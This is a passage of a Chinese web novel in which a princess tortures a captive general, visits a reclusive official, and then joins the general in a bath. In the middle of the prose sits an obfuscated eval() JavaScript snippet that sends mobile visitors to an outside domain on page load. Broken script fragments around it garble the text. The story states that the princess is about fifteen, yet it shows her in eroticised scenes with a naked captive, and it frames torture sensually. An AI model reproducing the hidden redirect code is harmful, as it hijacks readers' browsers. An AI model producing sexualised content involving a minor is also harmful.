《我是限制文早死白月光》
3. 扎心(暂时不要看)
祝榴左顾右盼,看着两方快要冒着火的头,又因为她这一句话歇息了火焰,他们再怎么吵也是在她的默许之下,一旦她开了口,他们就不敢吵了。
“看来是吵完了,我要去见我的面首,也不知道他在地牢里有没有饿死,昨天好像忘记吩咐给他一些吃食了。”祝榴眼珠子转来转去的,她拍了拍手中的渣,望着这盘吃食,忽然想起了地牢里的某个人。
祝榴突然站起来,从主位上下来,慢吞吞地往外走去。大伙一看,她这是直接逃避的这个问题。
秦乡叶一直没有参与到这场争吵上,可他也想知道一个答案,到底什么时候攻打对面的敌国。
他推了推褚贤,挤眉弄眼的,给她的眼神就是在说:“你和公主关系最好,你来问问。”
褚贤回了一个无奈的眼神:“我又不可能左右公主的思想,她不回,我也没办法。”
眼瞧着祝榴快要走出大厅了,另一位矮个子的将军忍不住了,“公主,你倒是说句准话呀,不然下一次那使臣又来了,我们该如何作?”
祝榴顿下脚步,冷冰冰地看向他,她淡然一笑,露出一个令众人畏惧的表情。
“何将军,这事啊,我心中自有定数。下一次他再来,到时我来解决。你们啊就别惦记这事了。有公事就去处理公事,有操练就去操练,有这个心啊,去给我好好守好城池,别来烦我。”她拍了拍他的胸脯,歪着头问道:“懂了吗?”
何令非勉强地笑了笑,“知道了公主。您先去忙您的事吧,我也要去操练我手下的兵了。”
“这就对了嘛。”她转身就走,不带一点儿留恋。而她刚刚碰过男人的胸脯,站在大门口的逢久立马为她递上一方锦帕。
祝榴眉头一挑,这小丫头做事越来越稳当了,都不需要她多说一句。
“逢久!去问问厨房的人还有没有剩的吃食,给裴少将军带过去。”祝榴凛冽的眼神瞬间变得温和,她拍了拍她的肩。
逢久微微地低头,她注意到里面那几位将军朝她看过来眼神,“公主,我在马车上备了,昨天您所拿回来的铁链我也放上去了。”
“行。你做的很好。”
祝榴勾着她往外面走去,留下刚还吵着火热的一众人马,面色尴尬的从她的城主府离开,可偏偏他们都是要回军营的,都撞上了,那乌泱泱的一片人马全都跟在她的身后,场面格外的壮观。
逢久掀开竹帘,看到了外面骑着马的将军们,她又收回了头,看向闭目养神的祝榴,情不自禁地问道:“公主,您要春后再打仗吗?”
刚刚大厅中的话她听了个半数,她知道公主和王打了赌,必须要守好这座城池,而且和敌国的战役绝对不能输,不然赌局失败公主就输了,就算回去了,她也拿不到想要的东西。
那这场仗一定会打的,就是不知道是在这个月,还是到下个月的春。而她不能有输的机会,输了就是一座城池,一座城池的百姓。
所以她觉得公主肯定会选在春后再打,如今大雪封山,后方的粮草来不了这里,如果现在打的话,极为不保障,有失败的一线机会。
“逢久,怎么连你也来问这扰人的话,莫不是以后想当我的军师。倒是也可以,只不过你可千万,不要去跟褚贤学她的皮毛。”祝榴睁开了眼睛,漆黑的眸子里闪着明亮的光。
“公主冒犯,我只是担心您和王的赌注。”逢久垂下了眼眸,抱着拳说道。
“你倒是忠心,可你是不是忠心的对象选错了,你不应该希望我输吗?”祝榴眼眸闪了闪,故意说道。
“公主,我还是希望你能赢,这一整座城池,所有人的性命都系在您的身上了。”逢久不卑不亢地说道。
“你说得对,所有人的命都在我的身上,所以,我不能输。”祝榴自信地说道。
“可是还沉迷于男色……会不会不太好……”逢久委婉地说道。
祝榴放肆大笑起来,她伸出手点了一下女孩的头,“原来我就说,你干嘛莫名其妙问我这一顿,裴少将军,将是我棋局中的最重要的一个棋子,他能为我逆风翻盘。放心吧,我自有我的打算。”
逢久有些不太相信裴爻舟,但是她愿意相信公主。
在她们说的这几句话的时候,马车缓缓地到了军营,还真是快呀,跟她说这几句就到了。
祝榴探出头张望外面排排的帐篷,之前她还觉得城主府离军营有些远,为了不耽误军情,就一直住在帐篷中。
她从马车上下来,秦乡叶骑着马到她身边,潇洒地跳了下来。快步帮逢久拿过铁链,踩着雪引领着她进了地牢,边走还边说着:“公主,我还特意调来了一些好东西给你。”
他语气神神秘秘的,祝榴脸色没有任何的变化,淡淡地说道:“哦——折磨人的吗?”
“那是让人感受到□□的快感。”秦乡叶看了看旁边的逢久,顾及到这年轻的女孩,他遮着面悄咪咪地说。
“你们军营倒是玩得很花。”祝榴笑了笑,调侃了一句。
逢久手中提着食盒,没听到他们说什么起了一些好奇,脸上一副沉稳,但一直竖着耳朵想听到。她听到祝榴突然说了这么一句,脸上浮想菲菲。
他们进了最里面的牢房,裴亭春看见祝榴来了,抬起了头,目光一直紧盯在她的身上。
祝榴没有给他一丝的目光。
秦乡叶鞍前马后给祝榴拿来了一把崭新的椅子,“公主请坐。”
祝榴坐在椅子上,看着这牢房里出现了一些细微的变化,地上没那么脏了,血迹好像也被清除了,那桌子上的东西又增加了,除了裴亭春维持原貌,身上还是像昨天一样,他擦了药,上半身□□。
“逢久,把吃的给他。”
逢久都不敢看,小心翼翼把食盒放在了他的面前,往后退了一步,到她的跟前。
“秦叔,你做得不错。不过你们还是出去吧,我不希望有任何人来打扰。”祝榴笑眯眯地看着他们。
“好好好,我懂我懂!”秦乡叶一口应道。他转身就推着逢久赶紧从这里走开,他不能让任何人打扰她的好事。
祝榴等他们走了,将椅子搬得离他更近一点,再一屁股的坐下,弯着腰拿起了盒子里的点心,拿在手中端详:“裴少将军,我觉得这点心很难吃,想你以前金枝玉叶,估计也吃不了这东西。”
她完全不给人一点反应,忽然就把点心塞进了他嘴里。
“但我最喜欢强迫了别人不喜欢干的事情。所以呀,你还是乖乖的给我吃了吧。”祝榴伸出两只手,捂着他的嘴不让他吐出来。
裴亭春被她强迫的吃下去了。
“咳咳咳咳。”他垂下了头颅,表情被噎住了。
祝榴夸张地说道:“哎呀,逢久真是的,怎么也不给裴少将军备一点水喝呢。我给你拍一拍,别给噎死了。”她似是要抱住他的动作,拍着他的后背,狠狠地拍了下去,根本不像是为他排忧解难,而是来添堵的。
裴亭春的脑袋搭在她的肩膀上,他看向了旁边白皙的脖颈,吐出了卡在喉咙里的物体,狠狠地朝她的肉咬了下去。
“嘶……裴!你给我松口——”她气得玉面红霞,差点喊出了他的名字。
祝榴怎么也没料到饿了这么久的人,还有力气咬人。裴亭春死不松口,她都能嗅到隐隐约约的铁锈味,她脸上出现了晦暗不明的表情。
“从来,从来没有人敢这么对我,裴少将军,你是第一个。好样的,好样的,我喜欢,你这送我一口血真是让我记住了你了。”祝榴将他推开,一巴掌甩了上去。
她抹了一下肩膀上的血,放进了嘴中,舔了舔。
裴亭春闷哼一声,他嘴角溢出了血迹,可他那眼神像狼一样的锋利,他一点也不后悔刚刚的行为。
“愿公主永远记住我。”他说。
“我会让你后悔认识我。”祝榴扭身将挂在一旁的火烛取了下来,她一旦被激怒了,那就气红了眼,根本不会考虑别人的死活。
祝榴转到了他的身后,抬手拿起火烛,将上面的蜡一滴一滴的滴在他的背后。
灼热的蜡,顺着他的白皙的脊背,一路流了下去,有几滴烫到了他的伤口,那伤口还没有好被蜡包裹住,色欲拉到了极致。
“裴少将军,向我屈服,不然我就不会停下来,你也不想周而复始,伤疤好了又被我狠狠撕开吧……”祝榴贴在他的背后,手插入了他的发丝之间,在他的耳边暧昧地说道。
“任公主处置,我毫无怨言。”裴亭春背部发抖,声音发颤地说道。
“可怎么我看你这反应,一点也不像没有怨言的样子呢?”祝榴将火贴着他的背,蹭来蹭去,这人被炙烤的一声接着一声的呻吟,他宁愿这样也不服软。
“公主这般认为就这般认为吧,我毫无怨言。”他倔着性子说道。
真没意思。
瞧他那状态,他已经是快死了,只不过强撑着命悬一线。
祝榴又走了回来正想要将他的铁链打开,她顿住,心有余悸地舔了舔嘴唇。
还是让别人把他送到她屋吧
“将裴爻舟送到我的屋内,请人医治。请最好的医师,实在不行我去请李阁老,总之,务必将人救活!”祝榴深吸一口气,摆了摆手,从她身边经过,朝着外面走。
“啊,公主你怎么能送到你的屋呢?而且还请人医?公主你做了什么呀,
她的话被那些大汉听到了,立马使眼色派人先出去寻医师,其余的人则去拿担架,老秦迎了上来,搓搓手说道:“公主,我们马上就将人送到你屋里。你要把他洗干净吗……?”
祝榴停住扭头,面无表情地盯着他:“你们自己看着办,晚上我要看到活生生的人出现在我的榻上。”
她提着裙摆横冲直撞地挤走了老秦,声音激扬地说道:“公主,你不能将那男人带到屋内呀,要是王知道了……”
老秦赶紧装死,当什么也没有听到,钻回了地牢。
“他知道什么,他不会知道,你也不许给我多嘴。”祝榴神情严峻,她就算不动手,都会让人害怕。
“可是……”
“没有可是,逢久,你要是敢告诉我爹,下一个遭殃的就是你,还是说你想成为裴爻舟吗?你可想清楚了,这里可没有人保你。”她的脸色稍微正色一点就显得有些凛冽,眉眼之间都是逼人的气质。
逢久想起那血手帕瞬间身子抖了抖。她心虚地低下了头,弱弱地说道:“我知道了,我不会多嘴的。”
祝榴嘴角一勾。
他爹想派一个小丫头来镇住她,真是想多了。
“可是公主,李阁老在这里待了多年了,她好久没有跟人瞧过病了,她找他能行吗?”
“死马当活马医吧。”祝榴完全不负责任地说道。
这偌大一个风云城,不可能她一个人撑起的,所以她要坑点人……
所谓李阁老,她的医术不值一提,最重要的是文韬武略。
她是为了救人,也是为了请人出山。
说是休息,可她的脑子一直没有停止转过,一边要想着城池的防布图,一边又要想着怎么说服李阁老。听说那人的性子比她还要烈,还规矩死多,到了她面前都得装成小白羊。
她的思绪神飞天外,突然哐当一声,马车停了。
逢久本来还睁着眼,结果闭上眼就睡着了,突然一动,她往前仰,差点没摔个半死,她惊呼一声:“啊——!”
祝榴扭了扭酸疼的脖子,伸出手摸了摸磕着的后脑勺。还要拿出另一只手掏掏被叫蒙的耳朵。
她起身掀开了帘子,倒要看看到底是谁敢冲撞她的马车。
“谁敢撞本公主的马车——”只见祝榴踏出车厢,身姿如松,凤眼微眯,桀骜不驯地环视四周,下颚微微的抬起,眉宇之间都透露着不容挑衅的凛然之气。
而逢久想起了坐垫上的披风,赶紧拿起来,追了上去,“公主,你的披风。”
祝榴任由她为自己披上,一动不动看着对方的车。这车也算是富贵人家的,但是上面的装饰非常的简朴素雅。一点儿珍宝都没有镶上,看起来平平无奇。
她的目光一凝,总觉得这马车让她感到一丝熟悉。
“是你们撞我的马车?那便给我再撞一次吧。”祝榴叉着腰,蛮横地说道。
底下的百姓已经认出了她的模样,“是公主——公主来了!”他们兴高采烈地在底下喊着,他们原本以为这座城池要被弃掉了,但没想到公主来了,还将那些外敌赶了出去。
祝榴耳垂上悄悄地爬上了一抹红,“都快起来吧,这天寒地冻跪在地上,闹出病来了怎么办?又要花费多少银两?我的营帐可没有这么多医师啊。”
她快步跳下了马车,在雪地中一个一个的将那些老人小孩扶起来,看着他们步履蹒跚,又看着他们白雪素裹,心中一紧。
是她没有做好,不然这些人根本不会过得这么苦。
祝榴从怀中掏出银两,一个一个的塞,她一点也不嫌烦,也不嫌累,更不会嫌弃他们身上的脏。
“谢谢公主,谢谢公主……”
这些人将她视为了精神的支柱,一把鼻涕一把泪。
“逢久,你带这些人去我们营里,从明天起在这里给我搭一个施粥的帐篷,我可不想再看到这么多人露宿街头,更不想看到冻死一个人。”祝榴撇撇嘴,语气冲冲地说道。
逢久笑了笑,“晓得了,我会吩咐下去的。”
这些难民被逢久带着前往军营,她看着那些人睡过的地方,那雪堆里印出一个人形,心中一阵酸楚,这样的日子她也受过,她知道那很难受,那是对自己的死都不知道何时才会到来的恐惧。
祝榴看向了那个半天没有动静的马车,她气势冲冲地走过去。
前面驾车的男人看到她走了过来面色惨白。祝榴稍微瞄了一眼,那人就立马的下跪,嘴里不停地喊着:“公主饶命,公主饶命……”
这样才正常多了,世人见到她,就应该这么战战兢兢。她体验了几天当“救世主”的名声,差点就沦陷进去。
祝榴没有把目光盯到一个小厮身上,她原本想直接冲进去,但总觉得得让他们自己出来。
“马车里的人还不快给我出来,撞了我的马车,就想这样装死吗?让本公主撞你一下,我就饶过你。”
她不停地拍打着马车的车身,心里正厌烦,这马车上的人装死装半天呀。
坐在马车内的男子眉头一挑,他笑着掀开了车帘,温声说道:“公主。”
祝榴脸色一变,“怎么是你?”
“小祝,你也让我好些意外,从前的你可不会是这样。”他的目光露着回忆从前的眷恋。
祝榴目光凝了凝。
“稚间梨,你有什么资格这么叫我吗?”祝榴肺都要气炸了,却阴沉沉地笑了起来。
“小祝,你还是在责怪我吗?怎么不叫你给我取的名字,当初我真的不是有意的……”他的嘴唇微微地下压,咬着牙,眼睛湿润,仿佛随时都会流下泪水。
祝榴看稚间梨这死样子就直犯恶心,真想现在就将他一刀斩了,可是看到他腰间随风摇拽得那块令牌,眼眸暗了暗。
“既然离开了夏国,那就别在我眼前套近乎。而且你个大男人做这副黏黏糊糊的模样,是想要恶心死我吗?”祝榴眼中闪烁着轻蔑之色,冷冷地瞥了一眼,又飞快地离开,这人不值得让她再多看一眼。
她是真好奇,是哪个不长眼的,敢派他回来。
“公主,你怎能如此说我呢?你我可是青梅竹马的缘分,难道你就因为你带回来的那位将军,就不再看我一眼了吗?”稚间梨捂着胸口,弱柳扶风地从马车上下来,似要抓住她的手腕却被祝榴躲开,伤心欲绝地说道。
祝榴像是被什么东西卡住了一样,胸口的那股郁气也随之消散。
她被这人的话气笑了。
果然死不要脸,她比不过。
“你消息可真是得的很快呀。”祝榴眉头蹙成一团,一道审视的目光投了过去,不动声色地打量着对方。
他心虚地将目光撇过去。翘起了兰花指,柔柔弱弱地说道:“公主,你瞧我今天这一身,可符合你的口味?是不是比那将军更要俊。”
稚间梨穿的衣服可不像他坐的马车一样朴素,上面的做工都穿着金线,而他也像以前一样花枝招展,头上插了乱七八糟的簪子,真是没眼看。
以前看在他是竹马的面子上,没有戳穿,但现在祝榴真是嗤笑一声,脸上堆满了嘲讽。
她语气尖酸刻薄地说道:“稚间梨,你也配跟裴少将军比?求你别穿成这样在外面走,让人觉得你不男不女,不人不妖,我现在的就想把你当成书中妖怪,一剑斩了。”
“公主!你怎么能这样说我……你真是太伤我的心了,你知道我还身患重……咳咳咳……”稚间梨矫揉造作地捂着胸口,脑袋晕厥地爬上了马车。
“你咋没病死呢?”祝榴心中想到该病死的人不病死,不想让他死的人就快要死了。
“我要去看病!公主,你要是还挂念我,你就来腾云客栈找我。马夫,驾车——”稚间梨飞快地窜进了马车里,好像是被她撵进去一样。
祝榴往后退了退,怕他们待会撞着自己。
直到马车离去溅起来一阵的雪,她忽然想到,脸色白了一瞬,跺了跺脚,破口大骂:“稚间梨,你个倒霉玩意儿,撞了我的车就跑。腾云客栈是吧,等着,等我救完人,我就来找你算账。”
她气喘吁吁地回到马车上,马夫见着她这个样子对着她说:“公主,还要不要去阁老的住处。”
“去,当然去。”
雪虐风刺,黑瓦上覆着一层白薄薄的薄雪,高门挂着桐木匾额,用着彩绘写着龙飞凤舞的几字“李砚别居”,旁边还挂了个小牌子“生人勿近”,冷风穿过了庭院的树杈,青白的树下挡着一个人影。
在庭院中,坐着一位穿着蓝色衣裳的女子,她手中的棋子落下与对面的黑子厮杀,一局定胜负,对方节节败退。
穿着玄衣的男子没招了,摆了摆手,“李砚,李姐姐,好姐姐,你在想什么呀?这么烦。”
“我没有,别随意揣测我的想法。任月下。”她闷闷地说道。
“还说没有!李砚,你脸上挂着的表情我看不出吗?更何况你……杀我杀得这么狠,我有那么招人恨的吗?”任月下瘪着嘴巴说道。
任月下拿出了他的扇子打开,露出了“高山流水觅知音”这几个字,李砚看到后,撇了撇嘴,“棋术不精,还能跟我抱怨?”
“好好好,我说不过你,但是你也想学程门立雪?门外那女子是怎么一回事啊,怎么我下午一上门她就在那里站着,还有人比我见你更积极的呢……我瞧她身娇体弱,你可别叫人冻坏了。”任月下每说一句话,都能呼出一口冷气。可他话也多,呼出来的气也多。
“又不是我——让她在那里站着的,与我有何关系?”李砚听着他的话,还是忍不住地将目光投向了祝榴。
远山、青树屋院都覆上了一层皑皑白雪,她静静的伫立,身穿榴红色襦裙,为天地间点了一抹红。像是一只仙鹤,格外的引人注目。
蓬松的披风裹着她的肩脖,这冰雪天地,衬着她的面容越发的莹白,她望向这边,眼神纯净,让人忍不住避开视线。
她站了这么久了,脸色已经冻僵了,惨白一片,嘴巴更是没有一点儿血色。她脸上长长的睫毛都附上了一层冰霜,叫人看着一阵怜惜。
这公主也是脑子有点病。
从正午站到了傍晚,现在临近黄昏,天色渐晚。她站了这一下午,就是想求她来救一个面首。
面首……她忍俊不禁,居然大费周章为了个面首来此寻她。
李砚觉得公主才是那个真正需要看病的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533580|186443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。大冷天站在外面挨冻,也是一朵奇葩花。
祝榴站着脑袋都有些晕了,她头顶的松树坠下来了一片雪,砸在了她的身上,她不为所动,执着地等在原地。
李砚看到这一幕,眼神闪了一下,嘴角抿了抿。
“李砚,你何时心软,何时将她放进来?”任月下看着她脸上一闪而过的情绪。
他笑了笑,拿出扇子拍了拍她的手背,温声问道。
“看心情。”李砚梗着脖子说道。
“这可由不得你的心情啊,人家可是公主,你小心到时候,你这条命不保、人头不保,我到时候,可要撇干净了,咱可不认识。”任月下语气抑扬顿挫地说道。
“你还真是见危忘友。”李砚听着他的话没好气,将她手上的扇子弹开,又从一旁的碗中拿出了一枚晶莹剔透的黑子。
“胡说八道,我还替你着想呢,人家公主脾气可不好了,能在你这里等这么久,你看看她是多么的一片痴心,你不感动?”他收回了扇子,又伸出去手摸着她的手背,笑着说道。
“痴心吗?”
李砚那张温婉的脸上出现了一丝裂缝,她随口一说,“真心呵呵,这种东西在世界上是最为不可靠的东西,你该不会也有一片痴心吧。”
“哈哈哈,你想什么呢?我怎么可能会有。李砚,你家有客,那我就先走了,改日再下棋。”
任月下的脸上闪过一丝慌乱的表情,可惜李砚低着头在想别的事情,没有看到。
“那我就不送你了。我还得招待这位公主。”李砚心想人也待够了,该让她进来了,别到时候真倒在她的院落里,那就真的赖上了,还得让她治病。
李砚在他走之前还要刻意加一句,“记得把人给我叫进来,你可别给我忘了。”
她抬起头,又低下头看向自己的棋局,但心思可没有在桌子上,早已飞到了那人的身上。
“我就知道,李砚你最为嘴硬心软。”任月下轻笑。
“我没有!”李砚瞬间抬起头。
他将扇子一收,嘴角勾起一抹笑。
任月下径直走向院子中央的女子。越是走近,眼里就越止不住的惊叹,这位公主才十五有余,及笄之年。在朝堂之上,乡野之间,威名在外。
祝榴曾为驯一匹烈马,活活鞭笞侍从至死,其冷血暴戾,惧其如蛇蝎。可他不认为是这样的,越是这样的人越深藏不露,在这次战火中她力揽狂澜,她远远不止像表面那样乖张暴戾。
她确实带着目的而来。
祝榴知道李砚这人二十九有余,这样的年岁本来不该蜗居在这一处偏僻的城池,可当初因为女扮男装而自请离去,大好前程这么断送了。
但后来她一查,她爹根本就没有怪罪她,甚至有了李砚开了先例,后来朝堂上还多了女子的身影。而且她阁老的称呼也没有撤掉,官位就摆在那里,她何时回来就能何时取。
所以李砚不是因为这一件事,而是她在女扮男装期间,有位负心人负了她,她情愁难消,一气之下决然离去。她过不了心里那一关,就不可能会回来。
她查到的不多,但仅是这些已经足够了。
祝榴袖子底下的手搓了又搓,她冷得双腿发颤。这人喜欢拿乔,让她站一下午已属正常,但是她算好了日子,掐好了时间来这里的,正好她往日的追随者来她这里下棋。
这个人说话有一些分量,而且总是会说出几句李砚的心里话。
李砚耳根子软,听几句她追随者的话就能达到祝榴的目的,若是今日不行,她明日再来,徐徐图之。
祝榴抬起头就看到男人朝她走来,她对照记忆中的画像认出了来人——任月下,李砚门下的追随者,也是她的同窗,更是曾经扬名的铁血将军。
她嘴角勾起了一抹得逞的笑,又悄然地压下嘴角的弧度,作了一揖。
“任将军,真没想到会在这儿遇到你。”祝榴语气故作惊奇地说道。
“真是没想到吗?我可没想到有人会在这里认出我来。公主我们心知肚明,你今天找我家砚砚,可不是为了救一个面首,你想请她回去的话,还得多费点口舌……”任月下从她的身边擦身而过。他那把扇子忽然地打开,遮住了下半张脸,也就没看到他的嘴角抽了抽。
祝榴听着他意有所指的话,目光闪了闪,随着他扭身,更加情真意切地作了一揖。“多谢任将军提点,我明白了。”
“你明白啥啊?我可什么都没说。”任月下脸色波澜不惊,扯出一抹虚假的笑。
“自然自然。”
“公主,您这耐心,真叫让人佩服,我可受不了,这天寒地冻的……看来世人说你是纨绔子弟,我看那些都是玩笑话。”任月下与她寒暄,看来是不能轻易让她过去。
祝榴抬起漆黑的眼眸看向他,语气冷冷地说道:“任将军,说笑了,他们说的没错,我就是一个纨绔,你看呀,我沉迷于男色,也难为你说出这一番话。”
“和你们这些弯弯绕绕,心眼多的人讲话,真是难为我这副直肠子了,算了算了,为了你的小面首,你还不赶紧去求求她。”任月下收回了扇子,不再跟她废话往外走去。
瞧着他渐行渐远的身影。祝榴回过头看向还坐在紫藤花树下的李砚,她百无聊赖拨动着手中的棋局。偶尔还会偷瞄一眼,她观察这边很久了,隔着远她听不清他们在讲些什么。
视线朝她看来,正巧与她的眼瞳对上。
祝榴看见了她的眼中闪过了一丝惊艳,还有别的别扭情绪。
李砚又继续低下了头,不再看她,而是拿起了桌案前摆着的茶壶,随手斟了一杯。
她慢悠悠地拖着步子走过去,嘴里不停地哈着寒气,做出一副楚楚可怜的模样,语气软弱地说道:“李阁老,多谢你让我进来避避风。”
李砚瞧了她一眼,将手中的杯子,往她的方向推。“喝吧,解解寒。”
“放心,没有毒。我可不想公主倒在了我这儿,到时成王找我算账。”李砚的话卡在了半道。
祝榴拿起那杯子一饮而尽,脸上的表情没有一丝的变化。
“李阁老,你的为人我放得了心。”祝榴笑眯眯地说道:“更何况医者仁心,只会救人,不会毒人。”
“那你可是想岔了,我嘴毒的很。”李砚冷哼一声,没有被这点小伎俩打动。
“正巧,我也是。”祝榴没有等她说话,直接一屁股坐在了旁边。
“但今日,我不得不软下身子骨,来请李阁老救救我的面首。”祝榴诚恳地说道,直勾勾地盯着她,看着她那黑白分明的眼神。仅是一眼就能沦陷进去,让人无法拒绝。
“我为何要帮你……救面首,公主你那么多个面首,难道你每个都要救吗?我可没有这么多闲工夫。”李砚垂下眼眸,她自顾自的给自己斟酒。
“不试试怎么知道呢?我就是如此多情之人,每个人在我心中都是一样的分量。”祝榴脸色不变说着风流话。
“你可真是将“风流”之字说的如此的……清新脱俗。”
李砚被她的话弄得笑了,这位公主以前身体比现在还弱,她记得当时她判断这人活不过十五,结果五年过去了,她在这里隐居五年。
——竟然活生生地又看见了她。
她可真是命大,李砚又想起坊间她听到的那些传闻,她名声大的很,都能传到她的耳朵里,听说公主喜怒无常,阴晴不定,折在她手中的人,永远活不过一个月。还给她编了一首童谣:“今夜哭,明夜哭,哭到家中公主来,别哭了,别哭了,公主要将你火上烤。”
李砚想到此处噗嗤一声,笑出声来。
祝榴歪了歪头,不明白这人怎么突然笑了。她和李砚只有一面之缘,没有过多的接触,不了解她的秉性,她还真是古怪呀,让人捉摸不透。
“阁老,您这是怎么了?”她疑惑地问道。
李砚看着她清澈的眼瞳,想起第一次初见她软糯的模样,她抱着手中的娃娃,眼角挂着硕大一颗泪珠,目光中不含一丝的杂质,乖乖地喊:“阁老,您是来给我瞧病的吗?”
竟然有一种物是人非,如今她有求于自己,就如以往成王求她一样。都是为了看病,可她看向了她发抖的那只左手,眼眸暗了一瞬。
李砚又看着眼前的祝榴,她脸蛋被冻得通红,眼角抹着一尾红,稍稍地与往日的她重合,都是那般的可怜,却依旧顽强的活着。
她叹了一口气,又倒了一杯满茶,“公主,对不住。我说过了,我不想救。”
祝榴听着她的话,又看着这满满一杯茶。
“好吧,阁老,多谢你这杯茶了。我会再来探望你的。”祝榴以退为进,她知道再说一些话会引起她的厌烦。
祝榴弯了弯腰,向她行礼告退。
“慢走不送。”李砚点点头,目视着她衣角翩翩从院落中离开。想必这下她不会再来烦自己了吧,毕竟是位公主,一次就够了,怎么可能还来几次。
祝榴面色淡淡走出了门,她没有因为被拒绝而沮丧,嘴角含着一抹似有若无的笑。
门前有小童扫雪,他惊喜地说道:“公主,你博得了师傅的应许吗?”
“没有,不过很快就行了。你好好照顾阁老,到时候少不了你的好处。”祝榴伸出手,摸了摸小童光滑的脑袋,另一只手顺溜地拿出了一袋银两,塞在了他的怀中。
小童飞快地点点头,他带着银两,拿着扫帚进去了,还把那门关上了。
祝榴看着屋檐上的冰锥,目光闪了闪。随手从衣袖中弹飞出去一个玩意将那冰锥打了下来,砸在了地上,激起了一片的雪花。
刚才在李砚那儿,她忽然想到个好主意。
她脑子一转,一拍脑门。她干脆将人带到门前,让裴亭春卖一波可怜,反正也是将死之人,那肯定要利用彻底……
她心中懊悔,刚刚就应该将他架上马车送过来的。
4. 前任(暂时不要看)
祝榴按了按眉心,突然想起来裴亭春了。
“不,送我回我的住处,我要去见见我的未来夫君。”祝榴笑着说道。
只有逢久一个姑娘家站在门口,她看到祝榴坐着马车而来,脸上止不住的兴奋,提着裙摆小步地跑了下来,“公主啊,驸马爷正在泡玉池,你要不要去瞧瞧?”
祝榴瞪了逢久一眼,“你把我想成什么人了,我是那么龌龊的人吗?玉池在哪。”
“……公主,我为你带路。”逢久看着她那凶巴巴的眼神,将笑憋在了心中,两侧的肩膀止不住发抖。
“要是冷的话,多穿一点。”
祝榴扯住对方的手,将身上的披风解了下来,丢给了逢久。
逢久愣愣地看着她将披风绑在了自己身上,彻底忍不住笑了,她两边陷了两个小酒窝,杏眼弯弯,如月牙一般。
“公主,我发现你有的时候,跟木头一样的直。”
“逢久,我发现……你跟我待个几十日,对我越来越放肆了。看来我得让你想起来,你刚被成王派来伺候我的那一天,被我吓得跪下了。你怕不是忘了,嗯?”祝榴弯着腰勾着她的下巴,神情漠然,冷冰冰地说道。
逢久被她勾得神魂颠倒,鼻息之间全是她扑面而来的香气,支支吾吾地说:“公主……我再也不敢胡说八道了……”
祝榴松开了她,背过手继续往前走。前面有两个分叉的路,分别是两道曲折长廊,一边幽静,两边都开满了梅花,另一边更为广阔能看到是一间小小的屋苑。
逢久揉了揉下巴,忽然看到公主走错边了,“公主你等等啊,你走反了。”
祝榴一顿,脸上浮现了一抹尴尬。她又没在城主府安安生生地住过一日,大多时候都在外奔波。对于这里的布局有个大概的轮廓,但实际上走就知道布防图和地形是不一样的。
她打定了主意,明日要在这里转一圈。
逢久快步走向前,指着另一道梅花长廊。“公主,往前直走就是玉池。”
“咳咳,所以是往这个方向吗?那你就不用跟来了,我一人去足矣。”祝榴脸颊泛起一抹不自然的红晕,她下了命令,逢久自然不会跟上来。
反正她周边总会围着暗卫,虽然离得不近,但遇到了紧急的情况,他们就会一涌而出,逢久见过一次,可吓人了。
祝榴在长廊上行走,看着生出来的桃花枝干,忍不住摘了一支,晃晃悠悠地走向了玉池。
丝丝缕缕的烟雾缭绕在池边,暖烟流淌,弥漫的水汽拍打在了脸上,她的脸颊已经红了。
玉池中有许多假山,在重重叠叠的影子中,长身鹤立,与这雾气几乎融为一体。他在烟雾缭绕中近乎透明,他的一身衣裳全被脱落,乌黑的长发遮掩住他的背部,白皙而透亮,精壮而结实,香雾云鬓湿,清辉玉臂寒。
他摸着胸口上的鞭痕,水中浸出了丝丝血水,垂眸无情。
【清水出芙蓉。】
【裴亭春抓住了不速之客,玉池中生出了哗啦哗啦的水声,将你的外袍褪下,轻解罗裳,随着衣物的剥落,冰冷的指尖划过了你的胸脯,激起了一阵一阵的颤栗。而你脸颊红艳,舒服地轻哼,欲拒还迎:“别碰我……”】
……又来了。
祝榴眉心跳了跳,欲擒故纵,有点意思。
她将手中的梅花枝条砸在了地上。
“谁?”
湿热飘散的云气,模糊了他的声音,显得没有那么冰冷刺骨。
幽暗月色,池水粼粼。
她脱下了绣花鞋,又将外袍丢在了地上,下了水。涟漪自脚踝处荡开,池水随着她的走动而掀起了一圈一圈的波澜。
裴亭春眼中闪过了一丝的迷离,她只穿着一层素纱里衣,其中的春光呼之欲出,玉面红霞,嘴角弯起一抹浅浅的笑意。如同画中仙,似醉非醉间,一笑百媚生。
“我!裴少将军,怎么才半日不见,你就不认得我了。”两人离得很近,话语中的热气落在了他的肌肤上,她那赤/裸的目光像是尖锐的利刃扫在了身上,仿佛成了形。
裴亭春望着她的目光从平静转向诧异,又忽然地想起衣不蔽体,冷面转过身,试图用长发遮掩住裸/体,湿润的长□□浮在水面上,他语气闷闷地说道:“公主,你我男女有别,你着实不应该……”
“裴少将军,怎么这么见外呢?你都是我的准驸马了,让我看看不行吗?”祝榴语气轻浮地挑逗他,手指攀上了他的脊背。
“公主……”他的声音嘶哑,肩背也是一阵的颤抖。
他还想要说些什么,背后的人猛地抱住了他,激起了不小的水花,这突如其来的举动,将毫无防备的裴亭春吓了一大跳。
两人的距离在顷刻之间拉近,熟悉的气息忽然压了上来,那股草木混杂着石榴的清香钻进了他的鼻尖。
他想要后退,可心理上却动弹不得,僵着身子一动不动,全身的感官被他调动放大,祝榴轻笑着她的手指贴着他的腰间,轻轻地摩擦着,被她触碰的地方一阵的滚烫。
他真的很难受……
两人几乎是肉贴肉,中间没有一点儿空隙。
裴亭春头皮一阵的发麻,浑身一抖,脖颈一直到耳根,这池水也没有很高的温度,但他全身通红。
他被她撩拨得晕晕乎乎,有种分不清东南西北,上下左右,如果不是她在身后抱着他,随时都可能倒下去。
祝榴的指尖擦过了他腰间的一颗黑色小痣,她摸到了那一处,眼眸闪了闪,在上面画了个圈。“裴少将军,这是你的胎记吗?”
